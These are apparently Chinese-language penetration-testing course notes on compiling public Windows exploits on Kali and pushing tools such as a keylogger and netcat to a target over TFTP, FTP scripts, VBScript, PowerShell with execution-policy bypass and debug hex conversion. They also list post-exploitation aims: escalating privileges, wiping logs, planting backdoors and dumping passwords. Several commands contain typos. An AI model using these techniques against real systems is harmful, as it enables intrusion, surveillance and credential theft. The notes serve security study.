Linux 编译 windows 环境下编译
apt-get istall mingw32
Linux 编译 windows 环境下编译
apt-get istall mingw32
apt-get
获取exp
例如在shell中: searchsploit slmail
cp /usr/share/exploitdb/windows/remote/646.c
使用TFTP传输文件
mkdir /tftp (创建目录)
chown -R nobody /tftp (赋予权限)
cp /usr/share/windows-binaries/ (这里面有一些win下的工具)
cp /usr/share/windows-binaries/ woami.exe /tftp/
cp /usr/share/windows-binaries/ klogger.exe /tftp/
(拷了两个工具到tftp)
atftpd --daemon --port 69 /tftp
netstat -panu | grep 69 (inetd是由于权限的问题 ls /tftp/ -dl
cd /ftp ls -l chown -Rnobody /tftp/ 也就是将所有文件权限全部改为nobody )
在win端: tftp -i 192.168.1.117 get klogger.exe 获取文件
FTP
apt-get install pure-ftp
ftp配置脚本:
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd yuanfh -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
配置好后拷贝文件
cp /tftp/* /ftphome/
通过在win端写入执行文件,再远程命令运行这个文件夹,来开始下载文件
echo open 192.168.*.*>ftp.txt
echo yuanfh>> ftp.txt
echo password>>ftp.txt
echo bin>>ftp.txt
echo GET whoani.exe>>ftp.txt
echo GET klogger.exe>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
VBscript
利用http协议下载脚本
service apache2 start
netstat -pantu | grep:80
再cp文件
脚本传过去之后执行命令
csript wgetvbs http://192.168.1.117/nc.exe nc.exe
Powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -Flie Wger.ps1
使用DEBUG传输文件
Debug 1.汇编反汇编 2. 16进制DUMP工具 3. 64K字节
先用UPX压缩文件 upx -9 nc.exe
再用wine的软件将nc转化成hex文件 wine /usr/share.windows-binaries/exe2.bat.exe nc.exe nc.hex
debug <nc.hex
copy 1.dll nc.exe
网上公开的exp代码
选择可信赖的exp源
Exploit-db SecurityFocus Searchsploit
必须有能力修改exp (python perl ruby c c++)
修改shellcode的参数
Windows环境下编译
apt-get install mingw32
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
wine sl.exe 192.168.20.32
漏洞后利用阶段
上传工具 持久控制 扩大对目标系统的控制能力 linux系统 netcat curl wget windows 缺少预装的下载工具
提权
擦除攻击痕迹 日志会残留痕迹
安装后门 长期控制 dump密码 内网渗透
最大的挑战——防病毒软件
使用合法的远控
非交互模式shell nc的shell就是非交互的
无法使用自动补全
子命令 进一步输入 远程非交互shell不能支持
向windows目标系统传输文件
使用tftp传输文件 基于udp协议 明文传输 不支持身份验证 xp 2003默认安装 win7 2008需要单独安装 经常被边界防火墙过滤
kali
mkdir /tftp
cp /usr/share/windows-binaries/需要拷贝的软件 /tftp/
chown -R nobody /tftp/
atftpd --daemon --port 69 /tftp
注意69端口一定是tftp侦听
windows
tftp -i tftp服务器地址 get 文件名
使用ftp传输文件
kali安装pure-ftpd 配置比较麻烦
基于非交互shell 需要预先把需要执行的命令先写入一个文件
windows
>写入 >>追加写入
echo open 192.168.1.117 21>ftp.txt
echo yuanfh>>ftp.txt
echo password>>ftp.txt
echo bin>>ftp.txt
echo GET whoami.exe>>ftp.txt
echo GET klogger.exe>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt ftp从文件中找命令来执行
通过VBSCRIPT传输文件 早期的windows
cscript 调用解释vbscript脚本
通过POWERSHELL传输文件 较新的windows
.ps
使用DEBUG传输文件 只能传输64k
upx压缩
upx -9 nc.exe
将exe2进制文件转换成bat
用wine在linux下调用exe
wine /usr/share/windows-binaries/exe2bat.exe nc.txt
将文件echo到目标系统
把hex文件输入到debug调试
cp 1.dll 1.exe
启动1.exe 也就是nc